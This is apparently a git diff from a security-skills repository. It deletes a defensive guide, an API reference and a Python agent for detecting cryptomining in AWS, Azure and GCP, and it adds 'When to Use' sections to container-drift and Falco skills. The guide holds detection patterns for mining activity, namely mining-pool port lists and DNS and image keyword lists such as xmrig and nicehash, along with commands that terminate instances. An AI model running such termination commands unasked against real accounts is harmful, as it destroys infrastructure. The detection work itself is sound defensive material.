wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/detecting-cloud-cryptomining-activity.bak/SKILL.md b/skills/detecting-cloud-cryptomining-activity.bak/SKILL.md deleted file mode 100644 index 5b9c657f..00000000 --- a/skills/detecting-cloud-cryptomining-activity.bak/SKILL.md +++ /dev/null @@ -1,318 +0,0 @@ ---- -name: detecting-cloud-cryptomining-activity -description: > - Detecting unauthorized cryptocurrency mining activity in cloud environments by analyzing - compute usage anomalies, network traffic to mining pools, GuardDuty findings, and - container workload behavior using AWS, Azure, and GCP native security services. -domain: cybersecurity -subdomain: cloud-security -tags: [cloud-security, cryptomining, threat-detection, guardduty, cost-anomaly, incident-response] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -# Detecting Cloud Cryptomining Activity - -## When to Use - -- When investigating unexpected spikes in cloud compute costs or CPU utilization -- When GuardDuty, Defender for Cloud, or SCC reports cryptocurrency-related findings -- When monitoring for compromised credentials being used to launch mining instances -- When building detection rules for unauthorized workload deployment in cloud environments -- When responding to alerts about network connections to known mining pool infrastructure - -**Do not use** for detecting cryptomining on endpoints or on-premises servers (use EDR tools), for investigating the financial impact of mining (use cloud cost management tools), or for blocking mining at the network level (use DNS filtering and firewall rules). - -## Prerequisites - -- AWS GuardDuty enabled across all accounts and regions -- Azure Defender for Cloud with server and container plans enabled -- GCP Security Command Center with Event Threat Detection enabled -- CloudTrail, Azure Activity Log, and GCP Audit Log enabled for API monitoring -- Cloud cost monitoring and alerting configured (AWS Cost Anomaly Detection, Azure Cost Management) -- Network flow logs enabled (VPC Flow Logs, NSG Flow Logs, VPC Flow Logs) - -## Workflow - -### Step 1: Identify GuardDuty Cryptocurrency Findings (AWS) - -Query GuardDuty for cryptocurrency-specific finding types that indicate mining activity. - -```bash -# List active cryptocurrency-related findings -aws guardduty list-findings \ - --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \ - --finding-criteria '{ - "Criterion": { - "type": { - "Eq": [ - "CryptoCurrency:EC2/BitcoinTool.B!DNS", - "CryptoCurrency:EC2/BitcoinTool.B", - "CryptoCurrency:Runtime/BitcoinTool.B!DNS", - "CryptoCurrency:Runtime/BitcoinTool.B", - "CryptoCurrency:Lambda/BitcoinTool.B" - ] - }, - "service.archived": {"Eq": ["false"]} - } - }' --output json - -# Get detailed findings -FINDING_IDS=$(aws guardduty list-findings \ - --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \ - --finding-criteria '{"Criterion":{"type":{"Eq":["CryptoCurrency:EC2/BitcoinTool.B!DNS"]}}}' \ - --query 'FindingIds' --output json) - -aws guardduty get-findings \ - --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \ - --finding-ids $FINDING_IDS \ - --query 'Findings[*].{Type:Type,Severity:Severity,Resource:Resource.InstanceDetails.InstanceId,RemoteIP:Service.Action.NetworkConnectionAction.RemoteIpDetails.IpAddressV4,Domain:Service.Action.DnsRequestAction.Domain}' \ - --output table -``` - -### Step 2: Detect Compute Usage Anomalies - -Monitor for unexpected compute resource provisioning and CPU utilization spikes that indicate mining. - -```bash -# AWS: Find recently launched large instances (mining often uses c5/p3/g4 instances) -aws ec2 describe-instances \ - --filters "Name=instance-state-name,Values=running" \ - --query 'Reservations[*].Instances[*].[InstanceId,InstanceType,LaunchTime,Tags[?Key==`Name`].Value|[0]]' \ - --output table | grep -E "c5\.|c6\.|p3\.|p4\.|g4\.|g5\." - -# AWS: Check for high CPU utilization -aws cloudwatch get-metric-statistics \ - --namespace AWS/EC2 \ - --metric-name CPUUtilization \ - --dimensions Name=InstanceId,Value=i-SUSPECT_INSTANCE \ - --start-time 2026-02-22T00:00:00Z \ - --end-time 2026-02-23T00:00:00Z \ - --period 3600 \ - --statistics Average \ - --query 'Datapoints[*].[Timestamp,Average]' --output table - -# AWS: Check Cost Anomaly Detection -aws ce get-anomalies \ - --date-interval '{"StartDate":"2026-02-16","EndDate":"2026-02-23"}' \ - --query 'Anomalies[*].[AnomalyId,AnomalyScore.MaxScore,Impact.TotalImpact,RootCauses[0].Service]' \ - --output table - -# Azure: Find VMs with unusual CPU patterns -az monitor metrics list \ - --resource /subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Compute/virtualMachines/VM_NAME \ - --metric "Percentage CPU" \ - --interval PT1H \ - --start-time 2026-02-22T00:00:00Z \ - --end-time 2026-02-23T00:00:00Z -``` - -### Step 3: Analyze Network Traffic for Mining Pool Connections - -Identify network connections to known cryptocurrency mining pools and Stratum protocol traffic. - -```bash -# Query VPC Flow Logs for connections to known mining pool ports (3333, 4444, 8333, 14444) -# AWS: Using CloudWatch Logs Insights -aws logs start-query \ - --log-group-name vpc-flow-logs \ - --start-time $(date -d "24 hours ago" +%s) \ - --end-time $(date +%s) \ - --query-string ' - fields @timestamp, srcAddr, dstAddr, dstPort, bytes - | filter dstPort in [3333, 4444, 8333, 14444, 14433, 45700] - | sort bytes desc - | limit 100 - ' - -# Check DNS queries for mining pool domains -aws logs start-query \ - --log-group-name route53-resolver-logs \ - --start-time $(date -d "24 hours ago" +%s) \ - --end-time $(date +%s) \ - --query-string ' - fields @timestamp, query_name, srcids.instance - | filter query_name like /pool|mining|xmr|monero|nicehash|ethermine|f2pool|nanopool/ - | limit 100 - ' - -# GCP: Query VPC Flow Logs for mining connections -gcloud logging read ' - resource.type="gce_subnetwork" - AND jsonPayload.connection.dest_port=(3333 OR 4444 OR 8333 OR 14444) - AND timestamp>="2026-02-22T00:00:00Z" -' --limit=50 --format=json -``` - -### Step 4: Investigate Container and Serverless Mining - -Check for cryptomining within container workloads and serverless functions. - -```bash -# EKS/Kubernetes: Find pods with high CPU usage -kubectl top pods --all-namespaces --sort-by=cpu | head -20 - -# Find suspicious container images -kubectl get pods --all-namespaces -o json | python3 -c " -import json, sys -data = json.load(sys.stdin) -suspicious = ['xmrig', 'monero', 'miner', 'crypto', 'pool', 'hashrate'] -for pod in data['items']: - ns = pod['metadata']['namespace'] - name = pod['metadata']['name'] - for container in pod['spec'].get('containers', []): - image = container.get('image', '').lower() - if any(s in image for s in suspicious): - print(f'SUSPICIOUS: {ns}/{name} -> image: {container[\"image\"]}') -" - -# Check Lambda function for mining (unusual duration and memory) -aws lambda list-functions --query 'Functions[*].[FunctionName,MemorySize,Timeout]' --output table -aws cloudwatch get-metric-statistics \ - --namespace AWS/Lambda \ - --metric-name Duration \ - --dimensions Name=FunctionName,Value=SUSPECT_FUNCTION \ - --start-time 2026-02-22T00:00:00Z \ - --end-time 2026-02-23T00:00:00Z \ - --period 3600 \ - --statistics Average Maximum -``` - -### Step 5: Trace the Attack Vector - -Investigate how the mining infrastructure was deployed by analyzing API logs and credential usage. - -```bash -# AWS: Find who launched suspect instances -aws cloudtrail lookup-events \ - --lookup-attributes AttributeKey=ResourceType,AttributeValue=AWS::EC2::Instance \ - --start-time 2026-02-20T00:00:00Z \ - --query 'Events[?contains(Resources[0].ResourceName, `i-SUSPECT`)].[EventTime,EventName,Username,SourceIPAddress]' \ - --output table - -# Check for leaked credentials being used -aws cloudtrail lookup-events \ - --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA_SUSPECT_KEY \ - --query 'Events[*].[EventTime,EventName,SourceIPAddress,EventSource]' \ - --output table - -# Check for unusual API calls (RunInstances from new IPs) -aws cloudtrail lookup-events \ - --lookup-attributes AttributeKey=EventName,AttributeValue=RunInstances \ - --start-time 2026-02-20T00:00:00Z \ - --query 'Events[*].[EventTime,Username,SourceIPAddress]' \ - --output table -``` - -### Step 6: Contain and Remediate - -Isolate mining resources, revoke compromised credentials, and implement preventive controls. - -```bash -# Terminate mining instances -aws ec2 terminate-instances --instance-ids i-MINING_INSTANCE_1 i-MINING_INSTANCE_2 - -# Deactivate compromised credentials -aws iam update-access-key --user-name compromised-user \ - --access-key-id AKIA_COMPROMISED --status Inactive - -# Add SCP to prevent large instance types in non-production accounts -cat > mining-prevention-scp.json << 'EOF' -{ - "Version": "2012-10-17", - "Statement": [{ - "Effect": "Deny", - "Action": "ec2:RunInstances", - "Resource": "arn:aws:ec2:*:*:instance/*", - "Condition": { - "ForAnyValue:StringLike": { - "ec2:InstanceType": ["p3.*", "p4.*", "g4.*", "g5.*"] - } - } - }] -} -EOF - -# Set up billing alarm for early detection -aws cloudwatch put-metric-alarm \ - --alarm-name high-ec2-spend \ - --metric-name EstimatedCharges \ - --namespace AWS/Billing \ - --statistic Maximum \ - --period 21600 \ - --threshold 500 \ - --comparison-operator GreaterThanThreshold \ - --alarm-actions arn:aws:sns:us-east-1:ACCOUNT:billing-alerts -``` - -## Key Concepts - -| Term | Definition | -|------|------------| -| Cryptomining | Unauthorized use of cloud compute resources to mine cryptocurrency, typically Monero (XMR) due to its CPU-mining efficiency and privacy features | -| Stratum Protocol | Mining pool communication protocol typically running on ports 3333, 4444, or 14444 used to coordinate mining work between miners and pools | -| GuardDuty CryptoCurrency Finding | AWS threat detection finding that identifies EC2, EKS, or Lambda resources communicating with known cryptocurrency mining infrastructure | -| Cost Anomaly Detection | AWS service that uses machine learning to detect unusual spending patterns that may indicate unauthorized resource provisioning | -| Compute Abuse | Unauthorized use of cloud compute resources, commonly via compromised credentials or exploited applications, for cryptomining or other purposes | -| Service Control Policy | AWS Organizations policy that can restrict instance types or regions to prevent attackers from launching GPU/compute-optimized mining instances | - -## Tools & Systems - -- **AWS GuardDuty**: Threat detection service with specific finding types for cryptocurrency mining activity on EC2, EKS, and Lambda -- **Azure Defender for Cloud**: Detects cryptomining through behavioral analysis and network threat intelligence -- **GCP Event Threat Detection**: SCC component that identifies cryptocurrency mining via network analysis and process monitoring -- **CloudTrail / Activity Log / Audit Log**: API audit logs for tracing how mining resources were provisioned -- **VPC Flow Logs**: Network flow data for identifying connections to mining pool infrastructure - -## Common Scenarios - -### Scenario: Compromised AWS Access Key Used to Launch GPU Mining Fleet - -**Context**: A billing alarm triggers after a weekend spike from $200/day to $15,000/day. Investigation reveals 50 p3.8xlarge instances running across four regions, all launched by an access key belonging to a developer. - -**Approach**: -1. Query GuardDuty for CryptoCurrency findings to confirm mining activity -2. Terminate all mining instances across all regions immediately -3. Deactivate the compromised access key and check CloudTrail for the source IP -4. Discover the key was exposed in a public GitHub repository via TruffleHog scan -5. Rotate all credentials for the compromised user -6. Implement SCP to deny GPU instance types in non-production accounts -7. Enable AWS Cost Anomaly Detection with automated alerts -8. Set up git-secrets pre-commit hooks across the development team - -**Pitfalls**: Cryptominers often launch instances in regions where the account has no monitoring. Enable GuardDuty in ALL regions. Mining instances may use spot requests that persist after instance termination, so also cancel any active spot fleet requests and auto-scaling groups created by the attacker. - -## Output Format - -``` -Cloud Cryptomining Incident Report -===================================== -Account: 123456789012 (Production) -Detection Date: 2026-02-23 -Alert Source: AWS Cost Anomaly Detection + GuardDuty - -INCIDENT SUMMARY: - Mining instances launched: 50 (p3.8xlarge) - Regions affected: us-east-1, us-west-2, eu-west-1, ap-southeast-1 - Duration: ~48 hours (Feb 21 14:00 UTC to Feb 23 10:00 UTC) - Estimated cost impact: $28,400 - Cryptocurrency mined: Monero (XMR) - -ATTACK VECTOR: - Compromised credential: AKIA...WXYZ (developer-user) - Exposure method: Hardcoded in public GitHub repository - First unauthorized API call: Feb 21 13:47 UTC from IP 185.x.x.x - -GUARDDUTY FINDINGS: - CryptoCurrency:EC2/BitcoinTool.B!DNS: 50 findings - UnauthorizedAccess:EC2/TorIPCaller: 3 findings - -CONTAINMENT ACTIONS: - [x] All mining instances terminated - [x] Compromised access key deactivated - [x] New access key issued via Secrets Manager - [x] SCP applied to deny GPU instance types - [x] Cost anomaly alerting configured - [x] GuardDuty enabled in all regions -``` diff --git a/skills/detecting-cloud-cryptomining-activity.bak/references/api-reference.md b/skills/detecting-cloud-cryptomining-activity.bak/references/api-reference.md deleted file mode 100644 index df5c0702..00000000 --- a/skills/detecting-cloud-cryptomining-activity.bak/references/api-reference.md +++ /dev/null @@ -1,78 +0,0 @@ -# Cloud Cryptomining Detection API Reference - -## GuardDuty - Cryptocurrency Finding Types - -| Finding Type | Signal | -|-------------|--------| -| `CryptoCurrency:EC2/BitcoinTool.B!DNS` | EC2 querying crypto domains | -| `CryptoCurrency:EC2/BitcoinTool.B` | EC2 communicating with mining pools | -| `CryptoCurrency:Runtime/BitcoinTool.B!DNS` | Container DNS to mining domain | -| `CryptoCurrency:Runtime/BitcoinTool.B` | Container network to mining pool | -| `Impact:EC2/BitcoinDomainRequest.Reputation` | Known mining domain access | - -## GuardDuty CLI - -```bash -# Get detector ID -aws guardduty list-detectors --query 'DetectorIds[0]' --output text - -# List crypto findings -aws guardduty list-findings --detector-id $DET \ - --finding-criteria '{"Criterion":{"type":{"Eq":["CryptoCurrency:EC2/BitcoinTool.B!DNS"]}}}' - -# Get finding details -aws guardduty get-findings --detector-id $DET --finding-ids id1 id2 -``` - -## AWS Cost Anomaly Detection - -```bash -# Create cost anomaly monitor -aws ce create-anomaly-monitor --anomaly-monitor '{ - "MonitorName": "EC2CostSpike", - "MonitorType": "DIMENSIONAL", - "MonitorDimension": "SERVICE" -}' - -# Create alert subscription -aws ce create-anomaly-subscription --anomaly-subscription '{ - "SubscriptionName": "CryptoAlert", - "MonitorArnList": ["arn:aws:ce::123456789012:anomalymonitor/monitor-id"], - "Subscribers": [{"Address": "soc@company.com", "Type": "EMAIL"}], - "Threshold": 100.0, - "Frequency": "IMMEDIATE" -}' -``` - -## Known Mining Pool Ports - -``` -3333 - Stratum protocol (common) -4444 - Mining proxy -5555 - Monero (XMR) -7777 - Alt-coin mining -8888 - Multi-pool -9999 - Mining proxy -14444 - XMRig default -45700 - MoneroOcean -``` - -## VPC Flow Logs Query (CloudWatch Insights) - -``` -fields @timestamp, srcaddr, dstaddr, dstport, action -| filter dstport in [3333, 4444, 5555, 7777, 14444, 45700] -| sort @timestamp desc -| limit 50 -``` - -## EC2 Instance Remediation - -```bash -# Terminate mining instance -aws ec2 terminate-instances --instance-ids i-0123456789abcdef0 - -# Revoke security group ingress on mining ports -aws ec2 revoke-security-group-ingress --group-id sg-xxx \ - --protocol tcp --port 3333 --cidr 0.0.0.0/0 -``` diff --git a/skills/detecting-cloud-cryptomining-activity.bak/scripts/agent.py b/skills/detecting-cloud-cryptomining-activity.bak/scripts/agent.py deleted file mode 100644 index a4342a77..00000000 --- a/skills/detecting-cloud-cryptomining-activity.bak/scripts/agent.py +++ /dev/null @@ -1,163 +0,0 @@ -#!/usr/bin/env python3 -"""Cloud cryptomining detection agent using AWS GuardDuty and CloudWatch.""" - -import json -import subprocess -import sys -from datetime import datetime - - -CRYPTO_FINDING_TYPES = [ - "CryptoCurrency:EC2/BitcoinTool.B!DNS", - "CryptoCurrency:EC2/BitcoinTool.B", - "CryptoCurrency:Runtime/BitcoinTool.B!DNS", - "CryptoCurrency:Runtime/BitcoinTool.B", - "CryptoCurrency:Lambda/BitcoinTool.B", - "Impact:EC2/BitcoinDomainRequest.Reputation", - "Impact:Runtime/BitcoinDomainRequest.Reputation", -] - -MINING_POOL_PORTS = [3333, 4444, 5555, 7777, 8888, 9999, 14444, 45700] - - -def aws_cli(args): - """Execute an AWS CLI command and return parsed JSON.""" - cmd = ["aws"] + args + ["--output", "json"] - try: - result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) - if result.returncode == 0: - return json.loads(result.stdout) if result.stdout.strip() else {} - return {"error": result.stderr.strip()} - except Exception as e: - return {"error": str(e)} - - -def get_guardduty_detector(): - """Get the GuardDuty detector ID.""" - result = aws_cli(["guardduty", "list-detectors"]) - detectors = result.get("DetectorIds", []) - return detectors[0] if detectors else None - - -def list_crypto_findings(detector_id=None): - """List GuardDuty findings related to cryptocurrency mining.""" - if not detector_id: - detector_id = get_guardduty_detector() - if not detector_id: - return {"error": "No GuardDuty detector found"} - - criteria = {"Criterion": {"type": {"Eq": CRYPTO_FINDING_TYPES}, "service.archived": {"Eq": ["false"]}}} - result = aws_cli([ - "guardduty", "list-findings", - "--detector-id", detector_id, - "--finding-criteria", json.dumps(criteria), - ]) - finding_ids = result.get("FindingIds", []) - if not finding_ids: - return {"detector_id": detector_id, "findings": [], "count": 0} - - details = aws_cli([ - "guardduty", "get-findings", - "--detector-id", detector_id, - "--finding-ids"] + finding_ids[:25] - ) - findings = [] - for f in details.get("Findings", []): - resource = f.get("Resource", {}) - instance = resource.get("InstanceDetails", {}) - findings.append({ - "id": f.get("Id"), - "type": f.get("Type"), - "severity": f.get("Severity"), - "title": f.get("Title"), - "instance_id": instance.get("InstanceId"), - "instance_type": instance.get("InstanceType"), - "region": f.get("Region"), - "updated_at": f.get("UpdatedAt"), - }) - - return {"detector_id": detector_id, "count": len(findings), "findings": findings} - - -def check_ec2_cpu_anomalies(threshold_percent=90): - """Find EC2 instances with sustained high CPU (potential mining).""" - result = aws_cli([ - "cloudwatch", "get-metric-data", - "--metric-data-queries", json.dumps([{ - "Id": "cpu", - "MetricStat": { - "Metric": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - }, - "Period": 3600, - "Stat": "Average", - }, - }]), - "--start-time", (datetime.utcnow().replace(hour=0, minute=0, second=0)).isoformat() + "Z", - "--end-time", datetime.utcnow().isoformat() + "Z", - ]) - return result - - -def check_cost_anomalies(): - """Check for cost anomaly detections that may indicate mining.""" - result = aws_cli([ - "ce", "get-anomalies", - "--date-interval", json.dumps({ - "StartDate": datetime.utcnow().strftime("%Y-%m-01"), - "EndDate": datetime.utcnow().strftime("%Y-%m-%d"), - }), - ]) - return result - - -def check_vpc_flow_mining_ports(log_group="/aws/vpc/flowlogs"): - """Query CloudWatch Logs for connections to known mining pool ports.""" - ports_filter = " || ".join([f"dstport = {p}" for p in MINING_POOL_PORTS]) - query = f'fields @timestamp, srcaddr, dstaddr, dstport, action | filter ({ports_filter}) | sort @timestamp desc | limit 50' - result = aws_cli([ - "logs", "start-query", - "--log-group-name", log_group, - "--start-time", str(int((datetime.utcnow().replace(hour=0)).timestamp())), - "--end-time", str(int(datetime.utcnow().timestamp())), - "--query-string", query, - ]) - return result - - -def terminate_mining_instance(instance_id): - """Terminate a confirmed cryptomining EC2 instance.""" - result = aws_cli(["ec2", "terminate-instances", "--instance-ids", instance_id]) - return { - "action": "terminate_instance", - "instance_id": instance_id, - "result": result, - "timestamp": datetime.utcnow().isoformat() + "Z", - } - - -def generate_report(): - """Generate a comprehensive cryptomining detection report.""" - return { - "timestamp": datetime.utcnow().isoformat() + "Z", - "guardduty_findings": list_crypto_findings(), - "cost_anomalies": check_cost_anomalies(), - } - - -if __name__ == "__main__": - action = sys.argv[1] if len(sys.argv) > 1 else "report" - if action == "report": - print(json.dumps(generate_report(), indent=2, default=str)) - elif action == "findings": - print(json.dumps(list_crypto_findings(), indent=2, default=str)) - elif action == "costs": - print(json.dumps(check_cost_anomalies(), indent=2, default=str)) - elif action == "flow-logs": - lg = sys.argv[2] if len(sys.argv) > 2 else "/aws/vpc/flowlogs" - print(json.dumps(check_vpc_flow_mining_ports(lg), indent=2, default=str)) - elif action == "terminate" and len(sys.argv) > 2: - print(json.dumps(terminate_mining_instance(sys.argv[2]), indent=2, default=str)) - else: - print("Usage: agent.py [report|findings|costs|flow-logs [log-group]|terminate ]") diff --git a/skills/detecting-container-drift-at-runtime/SKILL.md b/skills/detecting-container-drift-at-runtime/SKILL.md index 447ff4f7..cd91958e 100644 --- a/skills/detecting-container-drift-at-runtime/SKILL.md +++ b/skills/detecting-container-drift-at-runtime/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Container drift occurs when running containers deviate from their original image state through unauthorized file modifications, unexpected binary execution, configuration changes, or package installations. Since containers should be treated as immutable infrastructure, any drift is a potential indicator of compromise. Detection techniques leverage the DIE (Detect, Isolate, Evict) model -- an immutable workload should not change during runtime, so any observed change is potentially evidence of malicious activity. + +## When to Use + +- When investigating security incidents that require detecting container drift at runtime +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - Kubernetes cluster v1.24+ with runtime security tooling diff --git a/skills/detecting-container-escape-with-falco-rules/SKILL.md b/skills/detecting-container-escape-with-falco-rules/SKILL.md index 35f680ff..49e48abc 100644 --- a/skills/detecting-container-escape-with-falco-rules/SKILL.md +++ b/skills/detecting-container-escape-with-falco-rules/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Falco is a CNCF-graduated runtime security tool that monitors Linux syscalls to detect anomalous container behavior. It uses a rules engine to identify container escape techniques such as mounting host filesystems, accessing sensitive host paths, loading kernel modules, and exploiting privileged container capabilities. + +## When to Use + +- When investigating security incidents that require detecting container escape with falco rules +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - Linux host with kernel 5.8+ (for eBPF driver) or kernel module support diff --git a/skills/detecting-credential-dumping-with-edr.bak/LICENSE b/skills/detecting-credential-dumping-with-edr.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/detecting-credential-dumping-with-edr.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such 